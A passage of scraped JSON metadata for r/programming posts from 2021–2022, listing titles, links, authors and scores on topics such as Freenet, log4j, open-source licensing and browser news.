  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_u6erfe",
  "url": "https://github.com/freenet/locutus",
  "permalink": "https://www.reddit.com/r/programming/comments/u6erfe/23_years_ago_i_created_freenet_the_first/",
  "title": "23 years ago I created Freenet, the first distributed, decentralized peer-to-peer network. Today I'm working on Locutus, which will make it easy to create completely decentralized alternatives to today's centralized tech companies. Feedback welcome",
  "body": null,
  "author": "sanity",
  "subreddit": "programming",
  "score": 3166,
  "upvoteRatio": 0.94,
  "numComments": 446,
  "createdAt": "2022-04-18T14:42:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/freenet/locutus",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_thtwaw",
  "url": "https://www.windowscentral.com/british-government-reported-asked-when-microsoft-would-get-rid-algorithms",
  "permalink": "https://www.reddit.com/r/programming/comments/thtwaw/the_british_government_reportedly_asked_when/",
  "title": "The British government reportedly asked when Microsoft would 'get rid' of algorithms",
  "body": null,
  "author": "stedgyson",
  "subreddit": "programming",
  "score": 3038,
  "upvoteRatio": 0.96,
  "numComments": 484,
  "createdAt": "2022-03-19T12:10:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.windowscentral.com/british-government-reported-asked-when-microsoft-would-get-rid-algorithms",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_tgx39m",
  "url": "https://www.theregister.com/2022/03/17/court_open_source/",
  "permalink": "https://www.reddit.com/r/programming/comments/tgx39m/false_advertising_to_call_software_open_source/",
  "title": "False advertising to call software open source when it's not, says court",
  "body": null,
  "author": "IsDaouda_Games",
  "subreddit": "programming",
  "score": 4230,
  "upvoteRatio": 0.97,
  "numComments": 250,
  "createdAt": "2022-03-18T09:03:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2022/03/17/court_open_source/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_tfqwml",
  "url": "https://www.youtube.com/watch?v=wgJpB8AX5Uo",
  "permalink": "https://www.reddit.com/r/programming/comments/tfqwml/leetcode_two_sum_solution_explained_coding/",
  "title": "Leetcode two sum solution explained - coding interviews challenge",
  "body": null,
  "author": "Upper_Description378",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.55,
  "numComments": 19,
  "createdAt": "2022-03-16T19:34:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=wgJpB8AX5Uo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_tbqy0y",
  "url": "https://blog.jetbrains.com/blog/2022/03/11/jetbrains-statement-on-ukraine/",
  "permalink": "https://www.reddit.com/r/programming/comments/tbqy0y/jetbrains_statement_on_ukraine/",
  "title": "JetBrains’ Statement on Ukraine",
  "body": null,
  "author": "syjer",
  "subreddit": "programming",
  "score": 3770,
  "upvoteRatio": 0.92,
  "numComments": 683,
  "createdAt": "2022-03-11T14:09:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jetbrains.com/blog/2022/03/11/jetbrains-statement-on-ukraine/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_t7xvjo",
  "url": "https://raccoon.onyxbits.de/blog/bugreport-free-support/",
  "permalink": "https://www.reddit.com/r/programming/comments/t7xvjo/no_open_source_does_not_mean_includes_free_support/",
  "title": "No, \"Open Source\" does not mean \"Includes Free Support\"",
  "body": null,
  "author": "pocketbandit",
  "subreddit": "programming",
  "score": 4638,
  "upvoteRatio": 0.95,
  "numComments": 836,
  "createdAt": "2022-03-06T12:35:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://raccoon.onyxbits.de/blog/bugreport-free-support/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_t1mjwn",
  "url": "https://www.zdnet.com/article/linus-torvalds-prepares-to-move-the-linux-kernel-to-modern-c/?ftag=COS-05-10aaa0g&taid=621997b8af8d2b000156a800&utm_campaign=trueAnthem%3A+Trending+Content&utm_medium=trueAnthem&utm_source=twitter",
  "permalink": "https://www.reddit.com/r/programming/comments/t1mjwn/linus_torvalds_prepares_to_move_the_linux_kernel/",
  "title": "Linus Torvalds prepares to move the Linux kernel to modern C",
  "body": null,
  "author": "jluizsouzadev",
  "subreddit": "programming",
  "score": 3643,
  "upvoteRatio": 0.98,
  "numComments": 425,
  "createdAt": "2022-02-26T03:14:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/linus-torvalds-prepares-to-move-the-linux-kernel-to-modern-c/?ftag=COS-05-10aaa0g&taid=621997b8af8d2b000156a800&utm_campaign=trueAnthem%3A+Trending+Content&utm_medium=trueAnthem&utm_source=twitter",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_su8uwe",
  "url": "https://www.youtube.com/watch?v=y8OnoxKotPQ",
  "permalink": "https://www.reddit.com/r/programming/comments/su8uwe/microservices_its_because_of_the_way_our_backend/",
  "title": "Microservices: it's because of the way our backend works",
  "body": null,
  "author": "RustEvangelist10xer",
  "subreddit": "programming",
  "score": 3358,
  "upvoteRatio": 0.96,
  "numComments": 469,
  "createdAt": "2022-02-16T22:52:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=y8OnoxKotPQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_sp9kvb",
  "url": "https://www.cnil.fr/en/use-google-analytics-and-data-transfers-united-states-cnil-orders-website-manageroperator-comply",
  "permalink": "https://www.reddit.com/r/programming/comments/sp9kvb/use_of_google_analytics_declared_illegal_by/",
  "title": "Use of Google Analytics declared illegal by French data protection authority",
  "body": null,
  "author": "Akid0uu",
  "subreddit": "programming",
  "score": 4415,
  "upvoteRatio": 0.96,
  "numComments": 639,
  "createdAt": "2022-02-10T15:47:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cnil.fr/en/use-google-analytics-and-data-transfers-united-states-cnil-orders-website-manageroperator-comply",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_slswwx",
  "url": "https://mooseyanon.medium.com/github-f-ck-your-name-change-de599033bbbe",
  "permalink": "https://www.reddit.com/r/programming/comments/slswwx/as_a_little_reminder_to_all_the_virtue_signallers/",
  "title": "As a little reminder to all the virtue signallers: \"GitHub, f*ck your name change.\"",
  "body": null,
  "author": "zilti",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 102,
  "createdAt": "2022-02-06T09:36:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mooseyanon.medium.com/github-f-ck-your-name-change-de599033bbbe",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_seluoi",
  "url": "https://www.steveonstuff.com/2022/01/27/no-such-thing-as-clean-code",
  "permalink": "https://www.reddit.com/r/programming/comments/seluoi/theres_no_such_thing_as_clean_code/",
  "title": "There’s No Such Thing as Clean Code",
  "body": null,
  "author": "mmaksimovic",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 31,
  "createdAt": "2022-01-28T08:18:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.steveonstuff.com/2022/01/27/no-such-thing-as-clean-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_sd7xg9",
  "url": "https://arstechnica.com/information-technology/2022/01/a-bug-lurking-for-12-years-gives-attackers-root-on-every-major-linux-distro/",
  "permalink": "https://www.reddit.com/r/programming/comments/sd7xg9/a_bug_lurking_for_12_years_gives_attackers_root/",
  "title": "A bug lurking for 12 years gives attackers root on every major Linux distro",
  "body": null,
  "author": "feross",
  "subreddit": "programming",
  "score": 3001,
  "upvoteRatio": 0.95,
  "numComments": 321,
  "createdAt": "2022-01-26T15:01:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/information-technology/2022/01/a-bug-lurking-for-12-years-gives-attackers-root-on-every-major-linux-distro/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_sbrv6k",
  "url": "https://kotaku.com/nft-crypto-cryptocurrency-blockchain-gdc-video-games-de-1848407959",
  "permalink": "https://www.reddit.com/r/programming/comments/sbrv6k/survey_says_developers_are_definitely_not/",
  "title": "Survey Says Developers Are Definitely Not Interested In Crypto Or NFTs | 'How this hasn’t been identified as a pyramid scheme is beyond me'",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4507,
  "upvoteRatio": 0.91,
  "numComments": 1710,
  "createdAt": "2022-01-24T17:47:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kotaku.com/nft-crypto-cryptocurrency-blockchain-gdc-video-games-de-1848407959",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rxbilz",
  "url": "https://www.cnil.fr/en/cookies-cnil-fines-google-total-150-million-euros-and-facebook-60-million-euros-non-compliance",
  "permalink": "https://www.reddit.com/r/programming/comments/rxbilz/google_fined_150m_facebook_60m_for_asymmetric/",
  "title": "Google fined 150M€, Facebook 60M€ for asymmetric cookie dialogs",
  "body": null,
  "author": "aloisdg",
  "subreddit": "programming",
  "score": 4236,
  "upvoteRatio": 0.98,
  "numComments": 555,
  "createdAt": "2022-01-06T10:34:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cnil.fr/en/cookies-cnil-fines-google-total-150-million-euros-and-facebook-60-million-euros-non-compliance",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rtsj28",
  "url": "https://batsov.com/articles/2021/11/28/firefox-is-the-only-alternative/",
  "permalink": "https://www.reddit.com/r/programming/comments/rtsj28/we_have_a_browser_monopoly_again_and_firefox_is/",
  "title": "We Have A Browser Monopoly Again and Firefox is The Only Alternative Out There",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 3238,
  "upvoteRatio": 0.96,
  "numComments": 970,
  "createdAt": "2022-01-01T21:05:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://batsov.com/articles/2021/11/28/firefox-is-the-only-alternative/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rtgwcf",
  "url": "https://twitter.com/miketheitguy/status/1477097527593734144",
  "permalink": "https://www.reddit.com/r/programming/comments/rtgwcf/in_2022_yymmddhhmm_formatted_times_exceed_signed/",
  "title": "In 2022, YYMMDDhhmm formatted times exceed signed int range, breaking Microsoft services",
  "body": null,
  "author": "rk-imn",
  "subreddit": "programming",
  "score": 12397,
  "upvoteRatio": 0.97,
  "numComments": 1139,
  "createdAt": "2022-01-01T10:35:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/miketheitguy/status/1477097527593734144",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rrsnbt",
  "url": "https://dzone.com/articles/the-pull-request-paradox-merge-faster-by-promoting",
  "permalink": "https://www.reddit.com/r/programming/comments/rrsnbt/study_developers_spend_almost_2_days_a_week_just/",
  "title": "Study: Developers spend almost 2 days a week just waiting for other developers to review their code",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3559,
  "upvoteRatio": 0.96,
  "numComments": 744,
  "createdAt": "2021-12-30T04:38:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dzone.com/articles/the-pull-request-paradox-merge-faster-by-promoting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rp1fhu",
  "url": "https://youtu.be/Uh1kLgTrKBA",
  "permalink": "https://www.reddit.com/r/programming/comments/rp1fhu/how_to_start_a_it_blog_in_60_seconds/",
  "title": "How to Start a IT Blog in 60 seconds",
  "body": null,
  "author": "fsou1",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 14,
  "createdAt": "2021-12-26T17:27:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Uh1kLgTrKBA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rnocy8",
  "url": "https://www.cyberkendra.com/2021/12/google-chrome-update-will-cause-big.html",
  "permalink": "https://www.reddit.com/r/programming/comments/rnocy8/google_chrome_update_will_cause_big_issue_for_2/",
  "title": "Google Chrome Update will cause Big Issue For 2 Billion Users",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.55,
  "numComments": 143,
  "createdAt": "2021-12-24T15:20:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cyberkendra.com/2021/12/google-chrome-update-will-cause-big.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rnkv97",
  "url": "https://vadimkravcenko.com/en/how-to-build-remote-teams-properly/",
  "permalink": "https://www.reddit.com/r/programming/comments/rnkv97/building_remote_teams_for_startups/",
  "title": "Building Remote Teams for Startups",
  "body": null,
  "author": "bndrz",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.55,
  "numComments": 9,
  "createdAt": "2021-12-24T11:55:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vadimkravcenko.com/en/how-to-build-remote-teams-properly/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rka1s4",
  "url": "https://twitter.com/Naaackers/status/1471494415306788870",
  "permalink": "https://www.reddit.com/r/programming/comments/rka1s4/tiktok_streaming_software_is_an_illegal_fork_of/",
  "title": "TikTok streaming software is an illegal fork of OBS",
  "body": null,
  "author": "Kok_Nikol",
  "subreddit": "programming",
  "score": 16150,
  "upvoteRatio": 0.97,
  "numComments": 1029,
  "createdAt": "2021-12-20T00:30:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/Naaackers/status/1471494415306788870",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rh2b2j",
  "url": "https://downdetector.com",
  "permalink": "https://www.reddit.com/r/programming/comments/rh2b2j/aws_is_down_half_of_the_internet_is_down/",
  "title": "AWS is down! Half of the internet is down!",
  "body": null,
  "author": "ConsistentComment919",
  "subreddit": "programming",
  "score": 3485,
  "upvoteRatio": 0.94,
  "numComments": 734,
  "createdAt": "2021-12-15T15:59:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://downdetector.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rcxehp",
  "url": "https://www.lunasec.io/docs/blog/log4j-zero-day/",
  "permalink": "https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/",
  "title": "RCE 0-day exploit found in log4j, a popular Java logging package",
  "body": null,
  "author": "freeqaz",
  "subreddit": "programming",
  "score": 3022,
  "upvoteRatio": 0.98,
  "numComments": 710,
  "createdAt": "2021-12-10T02:06:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lunasec.io/docs/blog/log4j-zero-day/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rc00nu",
  "url": "https://scrapingant.com/blog/avoid-ip-rate-limiting",
  "permalink": "https://www.reddit.com/r/programming/comments/rc00nu/how_does_ip_ratelimiting_work_and_how_to_avoid_ip/",
  "title": "How does IP rate-limiting work and how to avoid IP rate limits",
  "body": null,
  "author": "kami4ka",
  "subreddit": "programming",
  "score": 73,
  "upvoteRatio": 0.52,
  "numComments": 11,
  "createdAt": "2021-12-08T20:19:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://scrapingant.com/blog/avoid-ip-rate-limiting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rb9k5b",
  "url": "https://www.zdnet.com/article/rust-takes-a-major-step-forward-as-linuxs-second-official-language/",
  "permalink": "https://www.reddit.com/r/programming/comments/rb9k5b/rust_takes_a_major_step_forward_as_linuxs_second/",
  "title": "Rust takes a major step forward as Linux's second official language",
  "body": null,
  "author": "GeneReddit123",
  "subreddit": "programming",
  "score": 3600,
  "upvoteRatio": 0.95,
  "numComments": 667,
  "createdAt": "2021-12-07T21:08:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/rust-takes-a-major-step-forward-as-linuxs-second-official-language/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_r7t2f8",
  "url": "https://www.jessesquires.com/blog/2021/12/01/my-worst-tech-interview-experience/",
  "permalink": "https://www.reddit.com/r/programming/comments/r7t2f8/my_worst_tech_interview_experience/",
  "title": "My worst tech interview experience",
  "body": null,
  "author": "ConfidentMushroom",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 63,
  "createdAt": "2021-12-03T06:59:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jessesquires.com/blog/2021/12/01/my-worst-tech-interview-experience/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_qu1f2y",
  "url": "https://www.returnyoutubedislike.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/qu1f2y/ive_created_a_chrome_extension_and_an_api_for/",
  "title": "I've created a chrome extension and an API for youtube dislike stats",
  "body": null,
  "author": "Asleep_Ad4989",
  "subreddit": "programming",
  "score": 4471,
  "upvoteRatio": 0.96,
  "numComments": 267,
  "createdAt": "2021-11-14T22:37:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.returnyoutubedislike.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_qlo8fo",
  "url": "https://www.abc.net.au/news/2021-09-29/remote-work-silicon-valley-tech-companies-hard-to-end/100500604",
  "permalink": "https://www.reddit.com/r/programming/comments/qlo8fo/silicon_valley_companies_find_remote_work_is/",
  "title": "Silicon Valley companies find remote work is easier to begin than end as they look to bring employees back to the office",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 3457,
  "upvoteRatio": 0.97,
  "numComments": 965,
  "createdAt": "2021-11-03T06:11:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.abc.net.au/news/2021-09-29/remote-work-silicon-valley-tech-companies-hard-to-end/100500604",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_qhg9yh",
  "url": "https://arstechnica.com/tech-policy/2021/10/viewing-website-html-code-is-not-illegal-or-hacking-prof-tells-missouri-gov/",
  "permalink": "https://www.reddit.com/r/programming/comments/qhg9yh/viewing_website_html_code_is_not_illegal_or/",
  "title": "Viewing website HTML code is not illegal or “hacking,” prof. tells Missouri gov.",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 6066,
  "upvoteRatio": 0.98,
  "numComments": 494,
  "createdAt": "2021-10-28T05:58:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/tech-policy/2021/10/viewing-website-html-code-is-not-illegal-or-hacking-prof-tells-missouri-gov/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_qeuaxf",
  "url": "https://youtu.be/9IBPeRa7U8E",
  "permalink": "https://www.reddit.com/r/programming/comments/qeuaxf/digging_around_html_code_is_criminal_missouri/",
  "title": "“Digging around HTML code” is criminal. Missouri Governor doubles down again in attack ad",
  "body": null,
  "author": "purforium",
  "subreddit": "programming",
  "score": 12020,
  "upvoteRatio": 0.96,
  "numComments": 1295,
  "createdAt": "2021-10-24T15:23:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/9IBPeRa7U8E",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_qdlela",
  "url": "https://github.com/faisalman/ua-parser-js/issues/536",
  "permalink": "https://www.reddit.com/r/programming/comments/qdlela/breaking_npm_package_uaparserjs_with_more_than_7m/",
  "title": "BREAKING!! NPM package ‘ua-parser-js’ with more than 7M weekly download is compromised",
  "body": null,
  "author": "Incredble8",
  "subreddit": "programming",
  "score": 3607,
  "upvoteRatio": 0.96,
  "numComments": 908,
  "createdAt": "2021-10-22T17:06:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/faisalman/ua-parser-js/issues/536",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_q836ei",
  "url": "https://missouriindependent.com/2021/10/14/missouri-governor-vows-criminal-prosecution-of-reporter-who-found-flaw-in-state-website/",
  "permalink": "https://www.reddit.com/r/programming/comments/q836ei/missouri_governor_vows_to_prosecute_reporter_who/",
  "title": "Missouri governor vows to prosecute reporter who found flaw in website as a hacker",
  "body": null,
  "author": "earthboundkid",
  "subreddit": "programming",
  "score": 4498,
  "upvoteRatio": 0.97,
  "numComments": 455,
  "createdAt": "2021-10-14T16:25:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://missouriindependent.com/2021/10/14/missouri-governor-vows-criminal-prosecution-of-reporter-who-found-flaw-in-state-website/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_q3t8t7",
  "url": "https://pvs-studio.com/en/blog/posts/0733/",
  "permalink": "https://www.reddit.com/r/programming/comments/q3t8t7/c_is_faster_and_safer_than_rust_benchmarked_by/",
  "title": "C++ is faster and safer than Rust: benchmarked by Yandex",
  "body": null,
  "author": "pmz",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.55,
  "numComments": 63,
  "createdAt": "2021-10-08T08:02:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pvs-studio.com/en/blog/posts/0733/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_q3smfr",
  "url": "https://slate.com/technology/2021/10/facebook-unfollow-everything-cease-desist.html",
  "permalink": "https://www.reddit.com/r/programming/comments/q3smfr/unfollow_everything_developer_banned_for_life/",
  "title": "Unfollow Everything developer banned for life from Facebook services for creating plug-in to clean up news feed",
  "body": null,
  "author": "a_false_vacuum",
  "subreddit": "programming",
  "score": 11012,
  "upvoteRatio": 0.98,
  "numComments": 691,
  "createdAt": "2021-10-08T07:12:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://slate.com/technology/2021/10/facebook-unfollow-everything-cease-desist.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_pwi07z",
  "url": "https://www.theregister.com/2021/09/22/google_emits_chrome_94_with/",
  "permalink": "https://www.reddit.com/r/programming/comments/pwi07z/chrome_94_released_with_controversial_idle/",
  "title": "Chrome 94 released with controversial Idle Detection API",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 2950,
  "upvoteRatio": 0.96,
  "numComments": 619,
  "createdAt": "2021-09-27T14:15:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2021/09/22/google_emits_chrome_94_with/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_puok1h",
  "url": "https://stackoverflow.com/search?q=user%3A1144035+%5Bsql%5D+is%3Aanswer",
  "permalink": "https://www.reddit.com/r/programming/comments/puok1h/a_single_person_answered_76k_questions_about_sql/",
  "title": "A single person answered 76k questions about SQL on StackOverflow. Averaging 22.8 answers per day, every day, for the past 8.6 years.",
  "body": null,
  "author": "youwillnevercatme",
  "subreddit": "programming",
  "score": 13900,
  "upvoteRatio": 0.98,
  "numComments": 597,
  "createdAt": "2021-09-24T17:29:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.com/search?q=user%3A1144035+%5Bsql%5D+is%3Aanswer",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ptsah0",
  "url": "https://www.theverge.com/22684730/students-file-folder-directory-structure-education-gen-z",
  "permalink": "https://www.reddit.com/r/programming/comments/ptsah0/article_says_that_todays_students_are_unfamiliar/",
  "title": "Article says that today's students are unfamiliar with the concept of files and folders, is this your experience?",
  "body": null,
  "author": "futura-bold",
  "subreddit": "programming",
  "score": 3251,
  "upvoteRatio": 0.94,
  "numComments": 1479,
  "createdAt": "2021-09-23T10:27:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
